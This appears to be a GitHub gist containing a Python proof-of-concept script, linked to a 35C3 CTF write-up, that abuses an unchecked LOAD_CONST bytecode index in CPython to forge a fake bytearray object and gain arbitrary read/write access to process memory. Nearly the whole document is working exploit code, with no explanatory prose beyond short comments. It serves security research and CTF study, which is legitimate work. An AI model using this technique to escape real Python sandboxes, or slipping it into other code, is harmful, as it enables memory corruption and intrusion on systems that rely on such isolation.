Last active
May 13, 2024 15:02
-
-
Save DavidBuchanan314/ad69e2061dababc7fd8b23e86aa3ce92 to your computer and use it in GitHub Desktop.
See also: https://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html, https://doar-e.github.io/blog/2014/04/17/deep-dive-into-pythons-vm-story-of-load_const-bug/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# import nothing | |
""" | |
Tested in cpython 3.6, 3.8 (from the arch repos) on 64-bit arch linux | |
""" | |
nullfunc = lambda: None | |
#from types import CodeType, FunctionType | |
CodeType = nullfunc.__code__.__class__ | |
FunctionType = nullfunc.__class__ | |
#from dis import opmap | |
opmap = { | |
"RETURN_VALUE": 83, | |
"LOAD_CONST": 100, | |
"EXTENDED_ARG": 144, | |
} | |
INT64_MAX = (1<<63)-1 | |
INT32_MAX = (1<<31)-1 | |
INT32_MIN = -(1<<31) | |
p64a = lambda *n: [(a >> i) & 0xFF for a in n for i in range(0, 64, 8)] | |
nogc = set() # things we want to keep a reference to, to prevent gc | |
def refbytes(data): | |
# get the address of the internal buffer of a bytes object | |
nogc.add(data) | |
return id(data) + 0x20 | |
def ref(addr): | |
# make a pointer to the passed pointer | |
ptrbuf = bytes(p64a(addr)) | |
nogc.add(ptrbuf) | |
return refbytes(ptrbuf) | |
def ptr2obj(addr): | |
# addr is the address of an object | |
const_tuple = () | |
const_tuple_array_start = id(const_tuple) + 0x18 | |
offset = (ref(addr) - const_tuple_array_start) // 8 | |
assert(INT32_MIN <= offset <= INT32_MAX) | |
bytecode = [] | |
for i in range(1, 4): | |
bytecode += [opmap["EXTENDED_ARG"], (offset>>(32-i*8)) & 0xFF] | |
bytecode += [opmap["LOAD_CONST"], offset & 0xFF] | |
bytecode += [opmap["RETURN_VALUE"]] | |
code_args = [] | |
for argname in CodeType.__doc__.split("(")[1].split("[")[0].split(","): | |
argname = argname.strip() | |
if argname == "codestring": | |
code_args.append(bytes(bytecode)) | |
elif argname == "constants": | |
code_args.append(const_tuple) | |
else: | |
code_args.append(getattr(nullfunc.__code__, "co_"+argname)) | |
return FunctionType(CodeType(*code_args), {})() | |
fake_bytearray = bytes(p64a( | |
1, | |
id(bytearray), | |
(1<<63)-1, | |
0, 0, 0, 0 | |
)) | |
magic = ptr2obj(refbytes(fake_bytearray)) | |
# magic is now a rw window into raw memory |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment